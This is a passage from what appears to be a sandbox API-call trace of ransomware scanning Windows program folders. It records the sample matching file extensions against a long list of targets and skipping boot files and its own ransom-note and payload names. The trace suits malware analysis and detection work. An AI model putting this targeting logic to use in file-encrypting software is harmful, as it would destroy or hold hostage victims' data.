ftLastWriteTime.dwLowDateTime=0x110442fe, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="FlickLearningWizard.exe.mui", cAlternateFileName="")) returned 1 [0035.700] lstrlenW (lpString="FlickLearningWizard.exe.mui") returned 27 [0035.700] lstrlenW (lpString=".1cd") returned 4 [0035.701] FindClose (in: hFindFile=0x3ed1278 | out: hFindFile=0x3ed1278) returned 1 [0035.701] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x3f74098 | out: hHeap=0x880000) returned 1 [0035.820] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1 [0035.820] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56 [0035.821] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 1 [0035.821] lstrlenW (lpString="es-ES") returned 5 [0035.821] lstrcmpiW (lpString1="C:\\Windows", lpString2="es-ES") returned -1 [0035.821] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0035.821] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES") returned 56 [0035.821] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed1278 [0035.821] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd77a70c, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd77a70c, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd77a70c, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0035.821] FindNextFileW (in: hFindFile=0x3ed1278, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe3f3c6a2, ftCreationTime.dwHighDateTime=0x1ca0420, ftLastAccessTime.dwLowDateTime=0xe41519b8, ftLastAccessTime.dwHighDateTime=0x1ca0420, ftLastWriteTime.dwLowDateTime=0xe41519b8, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x1000, dwReserved0=0x0, dwReserved1=0x0, cFileName="tipresx.dll.mui", cAlternateFileName="")) returned 1 [0035.821] lstrlenW (lpString="tipresx.dll.mui") returned 15 [0035.821] lstrlenW (lpString=".1cd") returned 4 [0035.821] lstrcmpiW (lpString1=".1cd", lpString2=".mui") returned -1 [0035.821] lstrlenW (lpString=".3ds") returned 4 [0035.821] lstrcmpiW (lpString1=".3ds", lpString2=".mui") returned -1 [0035.821] lstrlenW (lpString=".3fr") returned 4 [0035.822] lstrcmpiW (lpString1=".3fr", lpString2=".mui") returned -1 [0035.822] lstrlenW (lpString=".3g2") returned 4 [0035.822] lstrcmpiW (lpString1=".3g2", lpString2=".mui") returned -1 [0035.822] lstrlenW (lpString=".3gp") returned 4 [0035.822] lstrcmpiW (lpString1=".3gp", lpString2=".mui") returned -1 [0035.822] lstrlenW (lpString=".7z") returned 3 [0035.822] lstrcmpiW (lpString1=".7z", lpString2="mui") returned -1 [0035.822] lstrlenW (lpString=".accda") returned 6 [0035.822] lstrcmpiW (lpString1=".accda", lpString2="ll.mui") returned -1 [0035.822] lstrlenW (lpString=".accdb") returned 6 [0035.822] lstrcmpiW (lpString1=".accdb", lpString2="ll.mui") returned -1 [0035.822] lstrlenW (lpString=".accdc") returned 6 [0035.822] lstrcmpiW (lpString1=".accdc", lpString2="ll.mui") returned -1 [0035.822] lstrlenW (lpString=".accde") returned 6 [0035.822] lstrcmpiW (lpString1=".accde", lpString2="ll.mui") returned -1 [0035.822] lstrlenW (lpString=".accdt") returned 6 [0035.822] lstrcmpiW (lpString1=".accdt", lpString2="ll.mui") returned -1 [0036.914] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a829930, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.914] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x682, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0036.914] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1c679700, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x5a829930, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1c679700, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="RADIAL.ELM", cAlternateFileName="")) returned 1 [0036.915] FindClose (in: hFindFile=0x3ed12f8 | out: hFindFile=0x3ed12f8) returned 1 [0036.915] HeapFree (in: hHeap=0x880000, dwFlags=0x0, lpMem=0x39406e8 | out: hHeap=0x880000) returned 1 [0036.915] FindNextFileW (in: hFindFile=0x3ed11f8, lpFindFileData=0x33ef310 | out: lpFindFileData=0x33ef310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED", cAlternateFileName="")) returned 1 [0036.915] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 63 [0036.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 1 [0036.915] lstrlenW (lpString="REFINED") returned 7 [0036.915] lstrcmpiW (lpString1="C:\\Windows", lpString2="REFINED") returned -1 [0036.915] RtlAllocateHeap (HeapHandle=0x880000, Flags=0x0, Size=0xfffe) returned 0x39406e8 [0036.916] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED") returned 63 [0036.916] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\*", lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ed12f8 [0036.923] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a84fa90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d0d0ef0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0036.923] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x376bcd00, ftCreationTime.dwHighDateTime=0x1c3ee72, ftLastAccessTime.dwLowDateTime=0x6d05ead0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x376bcd00, ftLastWriteTime.dwHighDateTime=0x1c3ee72, nFileSizeHigh=0x0, nFileSizeLow=0x58f, dwReserved0=0x0, dwReserved1=0x0, cFileName="PREVIEW.GIF", cAlternateFileName="")) returned 1 [0036.923] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0036.923] lstrlenW (lpString=".1cd") returned 4 [0036.923] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0036.923] lstrlenW (lpString=".3ds") returned 4 [0036.923] lstrcmpiW (lpString1=".3ds", lpString2=".GIF") returned -1 [0036.923] lstrlenW (lpString=".3fr") returned 4 [0036.923] lstrcmpiW (lpString1=".3fr", lpString2=".GIF") returned -1 [0036.923] lstrlenW (lpString=".3g2") returned 4 [0036.923] lstrcmpiW (lpString1=".3g2", lpString2=".GIF") returned -1 [0036.924] lstrlenW (lpString=".3gp") returned 4 [0036.924] lstrcmpiW (lpString1=".3gp", lpString2=".GIF") returned -1 [0036.924] lstrlenW (lpString=".7z") returned 3 [0036.924] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0036.924] lstrlenW (lpString=".accda") returned 6 [0036.924] lstrcmpiW (lpString1=".accda", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".accdb") returned 6 [0036.924] lstrcmpiW (lpString1=".accdb", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".accdc") returned 6 [0036.924] lstrcmpiW (lpString1=".accdc", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".accde") returned 6 [0036.924] lstrcmpiW (lpString1=".accde", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".accdt") returned 6 [0036.924] lstrcmpiW (lpString1=".accdt", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".accdw") returned 6 [0036.924] lstrcmpiW (lpString1=".accdw", lpString2="EW.GIF") returned -1 [0036.924] lstrlenW (lpString=".adb") returned 4 [0036.924] lstrcmpiW (lpString1=".adb", lpString2=".GIF") returned -1 [0036.924] lstrlenW (lpString=".adp") returned 4 [0036.924] lstrcmpiW (lpString1=".adp", lpString2=".GIF") returned -1 [0036.924] lstrlenW (lpString=".ai") returned 3 [0036.924] lstrcmpiW (lpString1=".ai", lpString2="GIF") returned -1 [0036.925] lstrlenW (lpString=".ai3") returned 4 [0036.925] lstrcmpiW (lpString1=".ai3", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ai4") returned 4 [0036.925] lstrcmpiW (lpString1=".ai4", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ai5") returned 4 [0036.925] lstrcmpiW (lpString1=".ai5", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ai6") returned 4 [0036.925] lstrcmpiW (lpString1=".ai6", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ai7") returned 4 [0036.925] lstrcmpiW (lpString1=".ai7", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ai8") returned 4 [0036.925] lstrcmpiW (lpString1=".ai8", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".anim") returned 5 [0036.925] lstrcmpiW (lpString1=".anim", lpString2="W.GIF") returned -1 [0036.925] lstrlenW (lpString=".arw") returned 4 [0036.925] lstrcmpiW (lpString1=".arw", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".as") returned 3 [0036.925] lstrcmpiW (lpString1=".as", lpString2="GIF") returned -1 [0036.925] lstrlenW (lpString=".asa") returned 4 [0036.925] lstrcmpiW (lpString1=".asa", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".asc") returned 4 [0036.925] lstrcmpiW (lpString1=".asc", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".ascx") returned 5 [0036.925] lstrcmpiW (lpString1=".ascx", lpString2="W.GIF") returned -1 [0036.925] lstrlenW (lpString=".asm") returned 4 [0036.925] lstrcmpiW (lpString1=".asm", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".asmx") returned 5 [0036.925] lstrcmpiW (lpString1=".asmx", lpString2="W.GIF") returned -1 [0036.925] lstrlenW (lpString=".asp") returned 4 [0036.925] lstrcmpiW (lpString1=".asp", lpString2=".GIF") returned -1 [0036.925] lstrlenW (lpString=".aspx") returned 5 [0036.925] lstrcmpiW (lpString1=".aspx", lpString2="W.GIF") returned -1 [0036.926] lstrlenW (lpString=".asr") returned 4 [0036.926] lstrcmpiW (lpString1=".asr", lpString2=".GIF") returned -1 [0036.926] lstrlenW (lpString=".asx") returned 4 [0036.926] lstrcmpiW (lpString1=".asx", lpString2=".GIF") returned -1 [0036.926] lstrlenW (lpString=".avi") returned 4 [0036.926] lstrcmpiW (lpString1=".avi", lpString2=".GIF") returned -1 [0036.963] lstrlenW (lpString=".avs") returned 4 [0036.963] lstrcmpiW (lpString1=".avs", lpString2=".GIF") returned -1 [0036.963] lstrlenW (lpString=".backup") returned 7 [0036.963] lstrcmpiW (lpString1=".backup", lpString2="IEW.GIF") returned -1 [0036.963] lstrlenW (lpString=".bak") returned 4 [0036.963] lstrcmpiW (lpString1=".bak", lpString2=".GIF") returned -1 [0036.963] lstrlenW (lpString=".bay") returned 4 [0036.964] lstrcmpiW (lpString1=".bay", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".bd") returned 3 [0036.964] lstrcmpiW (lpString1=".bd", lpString2="GIF") returned -1 [0036.964] lstrlenW (lpString=".bin") returned 4 [0036.964] lstrcmpiW (lpString1=".bin", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".bmp") returned 4 [0036.964] lstrcmpiW (lpString1=".bmp", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".bz2") returned 4 [0036.964] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".c") returned 2 [0036.964] lstrcmpiW (lpString1=".c", lpString2="IF") returned -1 [0036.964] lstrlenW (lpString=".cdr") returned 4 [0036.964] lstrcmpiW (lpString1=".cdr", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cer") returned 4 [0036.964] lstrcmpiW (lpString1=".cer", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cf") returned 3 [0036.964] lstrcmpiW (lpString1=".cf", lpString2="GIF") returned -1 [0036.964] lstrlenW (lpString=".cfc") returned 4 [0036.964] lstrcmpiW (lpString1=".cfc", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cfm") returned 4 [0036.964] lstrcmpiW (lpString1=".cfm", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cfml") returned 5 [0036.964] lstrcmpiW (lpString1=".cfml", lpString2="W.GIF") returned -1 [0036.964] lstrlenW (lpString=".cfu") returned 4 [0036.964] lstrcmpiW (lpString1=".cfu", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".chm") returned 4 [0036.964] lstrcmpiW (lpString1=".chm", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cin") returned 4 [0036.964] lstrcmpiW (lpString1=".cin", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".class") returned 6 [0036.964] lstrcmpiW (lpString1=".class", lpString2="EW.GIF") returned -1 [0036.964] lstrlenW (lpString=".clx") returned 4 [0036.964] lstrcmpiW (lpString1=".clx", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".config") returned 7 [0036.964] lstrcmpiW (lpString1=".config", lpString2="IEW.GIF") returned -1 [0036.964] lstrlenW (lpString=".cpp") returned 4 [0036.964] lstrcmpiW (lpString1=".cpp", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cr2") returned 4 [0036.964] lstrcmpiW (lpString1=".cr2", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".crt") returned 4 [0036.964] lstrcmpiW (lpString1=".crt", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".crw") returned 4 [0036.964] lstrcmpiW (lpString1=".crw", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cs") returned 3 [0036.964] lstrcmpiW (lpString1=".cs", lpString2="GIF") returned -1 [0036.964] lstrlenW (lpString=".css") returned 4 [0036.964] lstrcmpiW (lpString1=".css", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".csv") returned 4 [0036.964] lstrcmpiW (lpString1=".csv", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".cub") returned 4 [0036.964] lstrcmpiW (lpString1=".cub", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".dae") returned 4 [0036.964] lstrcmpiW (lpString1=".dae", lpString2=".GIF") returned -1 [0036.964] lstrlenW (lpString=".dat") returned 4 [0036.965] lstrcmpiW (lpString1=".dat", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".db") returned 3 [0036.965] lstrcmpiW (lpString1=".db", lpString2="GIF") returned -1 [0036.965] lstrlenW (lpString=".dbf") returned 4 [0036.965] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dbx") returned 4 [0036.965] lstrcmpiW (lpString1=".dbx", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dc3") returned 4 [0036.965] lstrcmpiW (lpString1=".dc3", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dcm") returned 4 [0036.965] lstrcmpiW (lpString1=".dcm", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dcr") returned 4 [0036.965] lstrcmpiW (lpString1=".dcr", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".der") returned 4 [0036.965] lstrcmpiW (lpString1=".der", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dib") returned 4 [0036.965] lstrcmpiW (lpString1=".dib", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dic") returned 4 [0036.965] lstrcmpiW (lpString1=".dic", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dif") returned 4 [0036.965] lstrcmpiW (lpString1=".dif", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".divx") returned 5 [0036.965] lstrcmpiW (lpString1=".divx", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".djvu") returned 5 [0036.965] lstrcmpiW (lpString1=".djvu", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".dng") returned 4 [0036.965] lstrcmpiW (lpString1=".dng", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".doc") returned 4 [0036.965] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".docm") returned 5 [0036.965] lstrcmpiW (lpString1=".docm", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".docx") returned 5 [0036.965] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".dot") returned 4 [0036.965] lstrcmpiW (lpString1=".dot", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dotm") returned 5 [0036.965] lstrcmpiW (lpString1=".dotm", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".dotx") returned 5 [0036.965] lstrcmpiW (lpString1=".dotx", lpString2="W.GIF") returned -1 [0036.965] lstrlenW (lpString=".dpx") returned 4 [0036.965] lstrcmpiW (lpString1=".dpx", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dqy") returned 4 [0036.965] lstrcmpiW (lpString1=".dqy", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dsn") returned 4 [0036.965] lstrcmpiW (lpString1=".dsn", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dt") returned 3 [0036.965] lstrcmpiW (lpString1=".dt", lpString2="GIF") returned -1 [0036.965] lstrlenW (lpString=".dtd") returned 4 [0036.965] lstrcmpiW (lpString1=".dtd", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dwg") returned 4 [0036.965] lstrcmpiW (lpString1=".dwg", lpString2=".GIF") returned -1 [0036.965] lstrlenW (lpString=".dwt") returned 4 [0036.965] lstrcmpiW (lpString1=".dwt", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".dx") returned 3 [0036.966] lstrcmpiW (lpString1=".dx", lpString2="GIF") returned -1 [0036.966] lstrlenW (lpString=".dxf") returned 4 [0036.966] lstrcmpiW (lpString1=".dxf", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".edml") returned 5 [0036.966] lstrcmpiW (lpString1=".edml", lpString2="W.GIF") returned -1 [0036.966] lstrlenW (lpString=".efd") returned 4 [0036.966] lstrcmpiW (lpString1=".efd", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".elf") returned 4 [0036.966] lstrcmpiW (lpString1=".elf", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".emf") returned 4 [0036.966] lstrcmpiW (lpString1=".emf", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".emz") returned 4 [0036.966] lstrcmpiW (lpString1=".emz", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".epf") returned 4 [0036.966] lstrcmpiW (lpString1=".epf", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".eps") returned 4 [0036.966] lstrcmpiW (lpString1=".eps", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".epsf") returned 5 [0036.966] lstrcmpiW (lpString1=".epsf", lpString2="W.GIF") returned -1 [0036.966] lstrlenW (lpString=".epsp") returned 5 [0036.966] lstrcmpiW (lpString1=".epsp", lpString2="W.GIF") returned -1 [0036.966] lstrlenW (lpString=".erf") returned 4 [0036.966] lstrcmpiW (lpString1=".erf", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".exr") returned 4 [0036.966] lstrcmpiW (lpString1=".exr", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".f4v") returned 4 [0036.966] lstrcmpiW (lpString1=".f4v", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".fido") returned 5 [0036.966] lstrcmpiW (lpString1=".fido", lpString2="W.GIF") returned -1 [0036.966] lstrlenW (lpString=".flm") returned 4 [0036.966] lstrcmpiW (lpString1=".flm", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".flv") returned 4 [0036.966] lstrcmpiW (lpString1=".flv", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".frm") returned 4 [0036.966] lstrcmpiW (lpString1=".frm", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".fxg") returned 4 [0036.966] lstrcmpiW (lpString1=".fxg", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".geo") returned 4 [0036.966] lstrcmpiW (lpString1=".geo", lpString2=".GIF") returned -1 [0036.966] lstrlenW (lpString=".gif") returned 4 [0036.966] lstrcmpiW (lpString1=".gif", lpString2=".GIF") returned 0 [0036.966] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0036.966] lstrlenW (lpString=".gold") returned 5 [0036.966] lstrcmpiW (lpString1=".gold", lpString2="W.GIF") returned -1 [0036.966] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0036.966] lstrcmpiW (lpString1="boot.ini", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="bootfont.bin", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="ntldr", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="ntdetect.com", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="io.sys", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="FILES ENCRYPTED.txt", lpString2="PREVIEW.GIF") returned -1 [0036.966] lstrcmpiW (lpString1="Info.hta", lpString2="PREVIEW.GIF") returned -1 [0036.967] lstrcmpiW (lpString1="payload.exe", lpString2="PREVIEW.GIF") returned -1 [0036.967] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\REFINED\\PREVIEW.GIF") returned 75 [0036.967] FindNextFileW (in: hFindFile=0x3ed12f8, lpFindFileData=0x33ef094 | out: lpFindFileData=0x33ef094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1ec9f100, ftCreationTime.dwHighDateTime=0x1cab7f2, ftLastAccessTime.dwLowDateTime=0x6d0d0ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1ec9f100, ftLastWriteTime.dwHighDateTime=0x1cab7f2, nFileSizeHigh=0x0, nFileSizeLow=0xb30e, dwReserved0=0x0, dwReserved1=0x0, cFileName="REFINED.ELM", cAlternateFileName="")) returned 1 [0036.967] lstrlenW (lpString="REFINED.ELM") returned 11 [0036.967] lstrlenW (lpString=".1cd") returned 4 [0036.967] lstrcmpiW (lpString1=".1cd", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".3ds") returned 4 [0036.967] lstrcmpiW (lpString1=".3ds", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".3fr") returned 4 [0036.967] lstrcmpiW (lpString1=".3fr", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".3g2") returned 4 [0036.967] lstrcmpiW (lpString1=".3g2", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".3gp") returned 4 [0036.967] lstrcmpiW (lpString1=".3gp", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".7z") returned 3 [0036.967] lstrcmpiW (lpString1=".7z", lpString2="ELM") returned -1 [0036.967] lstrlenW (lpString=".accda") returned 6 [0036.967] lstrcmpiW (lpString1=".accda", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".accdb") returned 6 [0036.967] lstrcmpiW (lpString1=".accdb", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".accdc") returned 6 [0036.967] lstrcmpiW (lpString1=".accdc", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".accde") returned 6 [0036.967] lstrcmpiW (lpString1=".accde", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".accdt") returned 6 [0036.967] lstrcmpiW (lpString1=".accdt", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".accdw") returned 6 [0036.967] lstrcmpiW (lpString1=".accdw", lpString2="ED.ELM") returned -1 [0036.967] lstrlenW (lpString=".adb") returned 4 [0036.967] lstrcmpiW (lpString1=".adb", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".adp") returned 4 [0036.967] lstrcmpiW (lpString1=".adp", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai") returned 3 [0036.967] lstrcmpiW (lpString1=".ai", lpString2="ELM") returned -1 [0036.967] lstrlenW (lpString=".ai3") returned 4 [0036.967] lstrcmpiW (lpString1=".ai3", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai4") returned 4 [0036.967] lstrcmpiW (lpString1=".ai4", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai5") returned 4 [0036.967] lstrcmpiW (lpString1=".ai5", lpString2=".ELM") returned -1 [0036.967] lstrlenW (lpString=".ai6") returned 4 [0036.967] lstrcmpiW (lpString1=".ai6", 